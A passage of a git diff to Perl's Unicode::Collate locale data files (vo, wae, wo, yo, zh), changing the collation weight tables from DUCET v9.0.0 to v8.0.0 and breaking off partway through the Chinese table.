; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +1EB9 0302 ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +1EB8 0302 ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +1ECD 0302 ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +1ECC 0302 ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +00F2 031B ; [.1D5A.0020.0002][.0000.0025.0002] # +1ECF 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F0.0000] # +00F5 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F1.0000] # +00F3 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F2.0000] # +1ECD 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +00D2 031B ; [.1D5A.0020.0008][.0000.0025.0002] # +1ECE 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F0.0000] # +00D5 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F1.0000] # +00D3 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F2.0000] # +1ECC 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +00F9 031B ; [.1E31.0020.0002][.0000.0025.0002] # +1EE7 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F0.0000] # +0169 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F1.0000] # +00FA 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F2.0000] # +1EE5 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +00D9 031B ; [.1E31.0020.0008][.0000.0025.0002] # +1EE6 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F0.0000] # +0168 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F1.0000] # +00DA 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F2.0000] # +1EE4 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +0061 0323 0306 ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +0041 0323 0306 ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +0061 0323 0302 ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +0041 0323 0302 ; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +0065 0323 0302 ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +0045 0323 0302 ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +006F 0323 0302 ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +004F 0323 0302 ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +006F 0300 031B ; [.1D5A.0020.0002][.0000.0025.0002] # +006F 0340 031B ; [.1D5A.0020.0002][.0000.0025.0002] # +006F 0309 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F0.0000] # +006F 0303 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F1.0000] # +006F 0301 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F2.0000] # +006F 0341 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F2.0000] # +006F 0323 031B ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +004F 0300 031B ; [.1D5A.0020.0008][.0000.0025.0002] # +004F 0340 031B ; [.1D5A.0020.0008][.0000.0025.0002] # +004F 0309 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F0.0000] # +004F 0303 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F1.0000] # +004F 0301 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F2.0000] # +004F 0341 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F2.0000] # +004F 0323 031B ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +0075 0300 031B ; [.1E31.0020.0002][.0000.0025.0002] # +0075 0340 031B ; [.1E31.0020.0002][.0000.0025.0002] # +0075 0309 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F0.0000] # +0075 0303 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F1.0000] # +0075 0301 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F2.0000] # +0075 0341 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F2.0000] # +0075 0323 031B ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +0055 0300 031B ; [.1E31.0020.0008][.0000.0025.0002] # +0055 0340 031B ; [.1E31.0020.0008][.0000.0025.0002] # +0055 0309 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F0.0000] # +0055 0303 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F1.0000] # +0055 0301 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F2.0000] # +0055 0341 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F2.0000] # +0055 0323 031B ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F3.0000] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/vo.pl b/cpan/Unicode-Collate/Collate/Locale/vo.pl index 8b7c4c900489..4e339627e525 100644 --- a/cpan/Unicode-Collate/Collate/Locale/vo.pl +++ b/cpan/Unicode-Collate/Collate/Locale/vo.pl @@ -1,29 +1,29 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -00E4 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1C48.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1C48.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -00F6 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -00FC ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +00E4 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1BC3.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1BC3.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +00F6 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1D59.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1D59.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +00FC ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E31.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E31.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E31.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E31.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/wae.pl b/cpan/Unicode-Collate/Collate/Locale/wae.pl index 90ae2195566b..fc3f5687509a 100644 --- a/cpan/Unicode-Collate/Collate/Locale/wae.pl +++ b/cpan/Unicode-Collate/Collate/Locale/wae.pl @@ -1,24 +1,24 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0061 0061 ; [.1C47.0020.0002][.0000.0024.0002] # -00E4 00E4 ; [.1C47.0020.0002][.0000.002D.0002] # -00E4 0061 0308 ; [.1C47.0020.0002][.0000.002D.0002] # -0061 0308 00E4 ; [.1C47.0020.0002][.0000.002D.0002] # -0061 0308 0061 0308 ; [.1C47.0020.0002][.0000.002D.0002] # -0065 0065 ; [.1CAA.0020.0002][.0000.0024.0002] # -0069 0069 ; [.1D32.0020.0002][.0000.0024.0002] # -006F 006F ; [.1DDD.0020.0002][.0000.0024.0002] # -00F6 00F6 ; [.1DDD.0020.0002][.0000.002D.0002] # -00F6 006F 0308 ; [.1DDD.0020.0002][.0000.002D.0002] # -006F 0308 00F6 ; [.1DDD.0020.0002][.0000.002D.0002] # -006F 0308 006F 0308 ; [.1DDD.0020.0002][.0000.002D.0002] # -0063 0068 ; [.1C7A.0020.0002][.0000.0028.0002] # -0073 0063 0068 ; [.1E71.0020.0002][.0000.0028.0002] # -0075 0075 ; [.1EB5.0020.0002][.0000.0024.0002] # -00FC 00FC ; [.1EB5.0020.0002][.0000.002D.0002] # -00FC 0075 0308 ; [.1EB5.0020.0002][.0000.002D.0002] # -0075 0308 00FC ; [.1EB5.0020.0002][.0000.002D.0002] # -0075 0308 0075 0308 ; [.1EB5.0020.0002][.0000.002D.0002] # + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0061 0061 ; [.1BC2.0020.0002][.0000.0024.0002] # +00E4 00E4 ; [.1BC2.0020.0002][.0000.002D.0002] # +00E4 0061 0308 ; [.1BC2.0020.0002][.0000.002D.0002] # +0061 0308 00E4 ; [.1BC2.0020.0002][.0000.002D.0002] # +0061 0308 0061 0308 ; [.1BC2.0020.0002][.0000.002D.0002] # +0065 0065 ; [.1C25.0020.0002][.0000.0024.0002] # +0069 0069 ; [.1CAD.0020.0002][.0000.0024.0002] # +006F 006F ; [.1D58.0020.0002][.0000.0024.0002] # +00F6 00F6 ; [.1D58.0020.0002][.0000.002D.0002] # +00F6 006F 0308 ; [.1D58.0020.0002][.0000.002D.0002] # +006F 0308 00F6 ; [.1D58.0020.0002][.0000.002D.0002] # +006F 0308 006F 0308 ; [.1D58.0020.0002][.0000.002D.0002] # +0063 0068 ; [.1BF5.0020.0002][.0000.0028.0002] # +0073 0063 0068 ; [.1DEC.0020.0002][.0000.0028.0002] # +0075 0075 ; [.1E30.0020.0002][.0000.0024.0002] # +00FC 00FC ; [.1E30.0020.0002][.0000.002D.0002] # +00FC 0075 0308 ; [.1E30.0020.0002][.0000.002D.0002] # +0075 0308 00FC ; [.1E30.0020.0002][.0000.002D.0002] # +0075 0308 0075 0308 ; [.1E30.0020.0002][.0000.002D.0002] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/wo.pl b/cpan/Unicode-Collate/Collate/Locale/wo.pl index 783e2e97ddae..148936ec3c4e 100644 --- a/cpan/Unicode-Collate/Collate/Locale/wo.pl +++ b/cpan/Unicode-Collate/Collate/Locale/wo.pl @@ -1,32 +1,32 @@ +{ - locale_version => 1.25, + locale_version => 1.19, # eng doesn't require tailoring - entry => <<'ENTRY', # for DUCET v9.0.0 -00E0 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0300 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0340 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH GRAVE -00C0 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0300 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0340 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE -00E9 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0301 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0341 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH ACUTE -00C9 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0301 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0341 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE -00EB ; [.1CAC.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS -0065 0308 ; [.1CAC.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS -00CB ; [.1CAC.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS -0045 0308 ; [.1CAC.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS -00F1 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE -006E 0303 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE -00D1 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE -004E 0303 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE -00F3 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0301 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0341 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0301 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0341 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE + entry => <<'ENTRY', # for DUCET v8.0.0 +00E0 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0300 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0340 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH GRAVE +00C0 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0300 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0340 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE +00E9 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0301 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0341 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH ACUTE +00C9 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0301 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0341 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE +00EB ; [.1C27.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS +0065 0308 ; [.1C27.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS +00CB ; [.1C27.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS +0045 0308 ; [.1C27.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS +00F1 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE +006E 0303 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE +00D1 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE +004E 0303 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE +00F3 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0301 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0341 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0301 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0341 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/yo.pl b/cpan/Unicode-Collate/Collate/Locale/yo.pl index 325985da0eef..ac0701684718 100644 --- a/cpan/Unicode-Collate/Collate/Locale/yo.pl +++ b/cpan/Unicode-Collate/Collate/Locale/yo.pl @@ -1,26 +1,26 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -1EB9 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH DOT BELOW -0065 0323 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH DOT BELOW -1EB8 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH DOT BELOW -0045 0323 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH DOT BELOW -1EC7 ; [.1CAB.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1EC6 ; [.1CAB.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW -0067 0062 ; [.1CF5.0020.0002] # -0047 0062 ; [.1CF5.0020.0007] # -0047 0042 ; [.1CF5.0020.0008] # -1ECD ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW -006F 0323 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW -1ECC ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW -004F 0323 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW -1ED9 ; [.1DDE.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1ED8 ; [.1DDE.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1EE3 ; [.1DDE.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW -1EE2 ; [.1DDE.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW -1E63 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH DOT BELOW -0073 0323 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH DOT BELOW -1E62 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH DOT BELOW -0053 0323 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH DOT BELOW + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +1EB9 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH DOT BELOW +0065 0323 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH DOT BELOW +1EB8 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH DOT BELOW +0045 0323 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH DOT BELOW +1EC7 ; [.1C26.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1EC6 ; [.1C26.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW +0067 0062 ; [.1C70.0020.0002] # +0047 0062 ; [.1C70.0020.0007] # +0047 0042 ; [.1C70.0020.0008] # +1ECD ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW +006F 0323 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW +1ECC ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW +004F 0323 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW +1ED9 ; [.1D59.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1ED8 ; [.1D59.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1EE3 ; [.1D59.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW +1EE2 ; [.1D59.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW +1E63 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH DOT BELOW +0073 0323 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH DOT BELOW +1E62 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH DOT BELOW +0053 0323 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH DOT BELOW ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/zh.pl b/cpan/Unicode-Collate/Collate/Locale/zh.pl index f3a56e133436..91900cd17b87 100644 --- a/cpan/Unicode-Collate/Collate/Locale/zh.pl +++ b/cpan/Unicode-Collate/Collate/Locale/zh.pl @@ -1,211 +1,211 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0101 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0100 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -00E1 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -00C1 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -01CE ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON -0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON -01CD ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -00E0 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -00C0 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0113 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0112 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -00E9 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -00C9 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -011B ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -011A ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -00E8 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -00C8 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -00EA 0304 ; [.1CAA.0021.0002] # -00CA 0304 ; [.1CAA.0021.0008] # -0065 0302 0304 ; [.1CAA.0021.0002] # -0045 0302 0304 ; [.1CAA.0021.0008] # -1EBF ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -1EBE ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -00EA 0301 ; [.1CAA.0022.0002] # -00EA 0341 ; [.1CAA.0022.0002] # -00CA 0301 ; [.1CAA.0022.0008] # -00CA 0341 ; [.1CAA.0022.0008] # -00EA 030C ; [.1CAA.0023.0002] # -00CA 030C ; [.1CAA.0023.0008] # -0065 0302 030C ; [.1CAA.0023.0002] # -0045 0302 030C ; [.1CAA.0023.0008] # -1EC1 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -1EC0 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -00EA 0300 ; [.1CAA.0024.0002] # -00EA 0340 ; [.1CAA.0024.0002] # -00CA 0300 ; [.1CAA.0024.0008] # -00CA 0340 ; [.1CAA.0024.0008] # -00EA ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -00CA ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -1EC5 ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE -1EC4 